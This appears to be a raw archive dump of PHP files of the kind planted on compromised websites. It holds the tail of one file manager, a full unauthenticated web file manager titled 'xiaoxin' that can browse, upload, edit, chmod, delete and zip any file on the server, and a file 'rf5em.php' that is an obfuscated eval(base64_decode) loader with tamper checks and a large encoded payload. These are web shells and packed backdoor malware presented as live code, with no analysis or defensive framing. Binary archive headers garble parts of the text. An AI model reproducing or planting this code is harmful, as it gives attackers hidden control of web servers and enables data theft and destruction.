                <a href="?path=<?= urlencode($currentDir) ?>&download=<?= urlencode($item) ?>">Download</a> |
                <a href="?path=<?= urlencode($currentDir) ?>&view=<?= urlencode($item) ?>">View/Edit</a> |
            <?php endif; ?>
            <a href="?path=<?= urlencode($currentDir) ?>&delete=<?= urlencode($item) ?>" onclick="return confirm('Yakin hapus?')">Hapus</a>
        </td>
        <td>
            <form method="post" style="display:inline;">
                <input type="hidden" name="oldname" value="<?= htmlspecialchars($item) ?>">
                <input type="text" name="newname" value="<?= htmlspecialchars($item) ?>" required>
                <button type="submit" name="rename">Ubah</button>
            </form>
        </td>
    </tr>
<?php endforeach; ?>
</table>
<style>
    body { font-family: sans-serif; }
    table { border-collapse: collapse; width: 100%; }
    td, th { padding: 5px; text-align: left; }
</style>PK';m\�rf:/:/	qavgy.phpnu�[���<?php

$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$dir = realpath($dir);

// 分开目录和文件排序
$items = scandir($dir);
$dirs = [];
$files = [];
foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    $path = $dir . DIRECTORY_SEPARATOR . $item;
    if (is_dir($path)) $dirs[] = $item;
    else $files[] = $item;
}
sort($dirs);
sort($files);
$items = array_merge($dirs, $files);

// ✅ 打包选中项 zip
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['zip_selected'], $_POST['selected_items'])) {
    set_time_limit(0);

    $timestamp = time();
    $zipFileName = 'selected_' . $timestamp . '.zip';
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    $zip = new ZipArchive();
    if ($zip->open($zipFilePath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
        foreach ($_POST['selected_items'] as $item) {
            $path = realpath($item);
            if (!$path || !file_exists($path)) continue;

            if (is_file($path)) {
                $zip->addFile($path, basename($path));
            } elseif (is_dir($path)) {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($path, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::LEAVES_ONLY
                );
                foreach ($iterator as $file) {
                    $filePath = $file->getRealPath();
                    $localPath = substr($filePath, strlen($dir) + 1);
                    $zip->addFile($filePath, $localPath);
                }
            }
        }
        $zip->close();

        $message = "✅ ZIP 已生成:<a href='?download_zip=" . urlencode($zipFileName) . "'>点击下载</a>";
        $messageType = "success";

    } else {
        $message = "ZIP 打包失败";
        $messageType = "danger";
    }
}


// ✅ ZIP 分块下载
if (isset($_GET['download_zip'])) {
    $zipFileName = basename($_GET['download_zip']);
    $zipFilePath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipFileName;

    if (file_exists($zipFilePath)) {
        header('Content-Type: application/zip');
        header('Content-Disposition: attachment; filename="' . $zipFileName . '"');
        header('Content-Length: ' . filesize($zipFilePath));

        $fp = fopen($zipFilePath, 'rb');
        if ($fp) {
            while (!feof($fp)) {
                echo fread($fp, 1024 * 1024);
                flush();
            }
            fclose($fp);
        }
        unlink($zipFilePath);
        exit;
    } else {
        echo "<div class='alert alert-danger'>ZIP 文件不存在或已过期。</div>";
    }
}

// 文件上传
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $uploadFile = $_FILES['file'];
    $targetPath = $dir . DIRECTORY_SEPARATOR . basename($uploadFile['name']);
    if (move_uploaded_file($uploadFile['tmp_name'], $targetPath)) {
        $message = "文件上传成功: " . htmlspecialchars($uploadFile['name']);
        $messageType = "success";
    } else {
        $message = "文件上传失败";
        $messageType = "danger";
    }
}

// 创建文件/文件夹
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'], $_POST['new_type']) && !isset($_POST['zip_selected'])) {
    $name = trim($_POST['new_name']);
    $type = $_POST['new_type'];
    $path = $dir . DIRECTORY_SEPARATOR . $name;
    if ($name !== '') {
        if ($type === 'file') {
            if (file_put_contents($path, '') !== false) {
                $message = "文件创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件创建失败";
                $messageType = "danger";
            }
        } elseif ($type === 'folder') {
            if (mkdir($path)) {
                $message = "文件夹创建成功: " . htmlspecialchars($name);
                $messageType = "success";
            } else {
                $message = "文件夹创建失败";
                $messageType = "danger";
            }
        }
    } else {
        $message = "名称不能为空";
        $messageType = "warning";
    }
}

// ✅ 修改权限
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['chmod_file'], $_POST['chmod_mode']) && !isset($_POST['zip_selected'])) {
    $chmodFile = realpath($_POST['chmod_file']);
    $mode = octdec($_POST['chmod_mode']);
    if ($chmodFile && file_exists($chmodFile)) {
        if (chmod($chmodFile, $mode)) {
            $message = "权限修改成功: " . htmlspecialchars(basename($chmodFile));
            $messageType = "success";
        } else {
            $message = "权限修改失败: " . htmlspecialchars(basename($chmodFile));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 删除文件 / 递归删除目录
function deleteRecursive($path) {
    if (is_file($path)) return unlink($path);
    $files = array_diff(scandir($path), ['.', '..']);
    foreach ($files as $file) {
        deleteRecursive($path . DIRECTORY_SEPARATOR . $file);
    }
    return rmdir($path);
}

if (isset($_GET['delete'])) {
    $deletePath = realpath($_GET['delete']);
    if ($deletePath && strpos($deletePath, $dir) === 0) {
        if (deleteRecursive($deletePath)) {
            $message = "删除成功: " . htmlspecialchars(basename($deletePath));
            $messageType = "success";
        } else {
            $message = "删除失败: " . htmlspecialchars(basename($deletePath));
            $messageType = "danger";
        }
    } else {
        $message = "非法操作";
        $messageType = "danger";
    }
}


// ✅ 编辑文件(读取内容)
$editContent = '';
$editFile = '';
if (isset($_GET['edit'])) {
    $editFile = realpath($_GET['edit']);
    if ($editFile && is_file($editFile)) {
        $editContent = file_get_contents($editFile);
    } else {
        $message = "无法编辑该文件";
        $messageType = "danger";
    }
}

// ✅ 保存编辑内容
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['edit_file'], $_POST['content'])) {
    $filePath = realpath($_POST['edit_file']);
    if ($filePath && is_file($filePath)) {
        file_put_contents($filePath, $_POST['content']);
        $message = "文件已保存";
        $messageType = "success";
    } else {
        $message = "无法写入文件";
        $messageType = "danger";
    }
}


// 生成面包屑
function generateBreadcrumb($dir) {
    $parts = explode(DIRECTORY_SEPARATOR, $dir);
    $pathAccum = '';
    $breadcrumb = [];
    foreach ($parts as $part) {
        if ($part === '') continue;
        $pathAccum .= DIRECTORY_SEPARATOR . $part;
        $breadcrumb[] = "<a href='?dir=" . urlencode(realpath($pathAccum)) . "'>" . htmlspecialchars($part) . "</a>";
    }
    return implode(" / ", $breadcrumb);
}
?>

<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>xiaoxin</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css" rel="stylesheet">
<link rel="icon" href="https://v5.bootcss.com/docs/5.3/assets/img/favicons/favicon.ico">
<style>
textarea.form-control { font-family: monospace; font-size: 0.875rem; }
input.form-control-sm { height: calc(1.5em + 0.5rem + 2px); }
</style>
<script>
function confirmDelete(file) {
    return confirm("确定删除: " + file + " 吗?此操作不可恢复!");
}
</script>
</head>
<body>
<div class="container mt-4">

<h5 class="mb-3">目录: <?php echo generateBreadcrumb($dir); ?></h5>

<?php if (!empty($message)): ?>
    <div class="alert alert-<?php echo $messageType; ?> py-2"><?php echo $message; ?></div>
<?php endif; ?>

<!-- ✅ 已移除“打包当前目录”按钮 -->

<!-- 创建文件/文件夹 -->
<h6 class="mb-2">创建文件/文件夹</h6>
<form method="post" class="d-flex gap-1 mb-3">
    <input type="text" name="new_name" class="form-control-sm" placeholder="名称" required>
    <select name="new_type" class="form-select-sm" required>
        <option value="file">文件</option>
        <option value="folder">文件夹</option>
    </select>
    <button type="submit" class="btn btn-success btn-sm">创建</button>
</form>

<!-- 上传文件 -->
<h6 class="mb-2">上传文件</h6>
<form method="post" enctype="multipart/form-data" class="d-flex gap-1 mb-3">
    <input type="file" name="file" required>
    <button type="submit" class="btn btn-primary btn-sm">上传</button>
</form>

<?php if ($editFile): ?>
<h6>编辑文件: <?php echo htmlspecialchars(basename($editFile)); ?></h6>
<form method="post">
    <input type="hidden" name="edit_file" value="<?php echo htmlspecialchars($editFile); ?>">
    <textarea name="content" class="form-control mb-2" rows="12"><?php echo htmlspecialchars($editContent); ?></textarea>
    <div class="d-flex gap-1">
        <button type="submit" class="btn btn-warning btn-sm">保存修改</button>
        <a href="?dir=<?php echo urlencode($dir); ?>" class="btn btn-secondary btn-sm">取消</a>
    </div>
</form>

<?php else: ?>

<!-- ✅ zip 表单单独 -->
<form method="post" id="zipForm">
<table class="table table-striped table-hover table-sm">
    <thead class="table-dark">
        <tr>
            <th><input type="checkbox" id="checkAll"></th>
            <th>名称</th>
            <th>类型</th>
            <th>操作</th>
        </tr>
    </thead>
    <tbody>
        <?php
        $parent = dirname($dir);
        if ($parent !== $dir) {
            echo "<tr><td></td><td><a href='?dir=" . urlencode($parent) . "'>.. (上级目录)</a></td><td>目录</td><td></td></tr>";
        }
        foreach ($items as $item) {
            $path = $dir . DIRECTORY_SEPARATOR . $item;
            echo "<tr>";
            echo "<td><input type='checkbox' class='chkItem' name='selected_items[]' value='" . htmlspecialchars($path) . "'></td>";
            if (is_dir($path)) {
                echo "<td><a href='?dir=" . urlencode($path) . "'>" . htmlspecialchars($item) . "</a></td><td>目录</td>";
            } else {
                echo "<td>" . htmlspecialchars($item) . "</td><td>文件</td>";
            }
            echo "<td class='d-flex gap-1 align-items-center'>";

            if (is_file($path)) {
                echo "<a href='?dir=" . urlencode($dir) . "&edit=" . urlencode($path) . "' class='btn btn-warning btn-sm px-2 py-1'>编辑</a>";
            }

            echo "<form method='post' action='?dir=" . urlencode($dir) . "' style='display:inline-block'>
                <input type='hidden' name='chmod_file' value='" . htmlspecialchars($path) . "'>
                <input type='text' name='chmod_mode' value='" . substr(sprintf('%o', fileperms($path)), -4) . "' size='4' class='form-control form-control-sm d-inline-block' style='width:60px'>
                <button type='submit' class='btn btn-info btn-sm px-2 py-1'>权限</button>
            </form>";

            echo "<a href='?dir=" . urlencode($dir) . "&delete=" . urlencode($path) . "' class='btn btn-danger btn-sm px-2 py-1' onclick='return confirmDelete(\"" . htmlspecialchars($item) . "\");'>删除</a>";

            echo "</td>";
            echo "</tr>";
        }
        ?>
    </tbody>
</table>

<button type="submit" name="zip_selected" class="btn btn-dark btn-sm mb-3">打包选中项</button>
</form>

<?php endif; ?>

</div>
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/js/bootstrap.bundle.min.js"></script>
<script>
document.getElementById("checkAll").onclick = function() {
    document.querySelectorAll(".chkItem").forEach(c => c.checked = this.checked);
};
</script>
</body>
</html>
PK);m\�*I�X�X�	rf5em.phpnu�[���<?php /*  Checksum: eb19a3b779ba8db245db7b2e79ebfa5ddebe499a797b7d8bd2111257d6555e3ba003ed79a6e5df1746328783be963459047320274e2c0b9f3efe71f21724193e */ eval(base64_decode("JE9PT08wT09PMDA9ZmlsZShwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXykpOwppZihwcmVnX3JlcGxhY2UoIkBcKC4qXCguKiRAIiwiIixfX0ZJTEVfXyk9PV9fRklMRV9fIG9yCnByZWdfcmVwbGFjZSgiQFwoLipcKC4qJEAiLCIiLF9fTElORV9fKSAhPSAzKWRpZSgiPHR0PkVSUk9SIik7"));eval(base64_decode("ZnVuY3Rpb24gT08wMDBPTzAwTygkYSwkYil7JGM9YXJyYXkoODc4LDM0MCwxMjgsMTAxNjU0KTtpZigkYj09NDUpeyRkPXN1YnN0cigkYSwkY1swXSskY1sxXSwkY1syXSk7fWVsc2VpZigkYj09MTMzKXskZD1zdWJzdHIoJGEsJGNbMF0sJGNbMV0pO31lbHNlaWYoJGI9PTg1KXskZD10cmltKHN1YnN0cigkYSwkY1swXSskY1sxXSskY1syXSkpO31yZXR1cm4kZDt9"));eval(base64_decode(OO000OO00O($OOOO0OOO00[0],133)));eval(O0000OOO0O(OO000OO00O($OOOO0OOO00[0],85),OO000OO00O($OOOO0OOO00[0],45),$OOOO0OOO00));__halt_compiler();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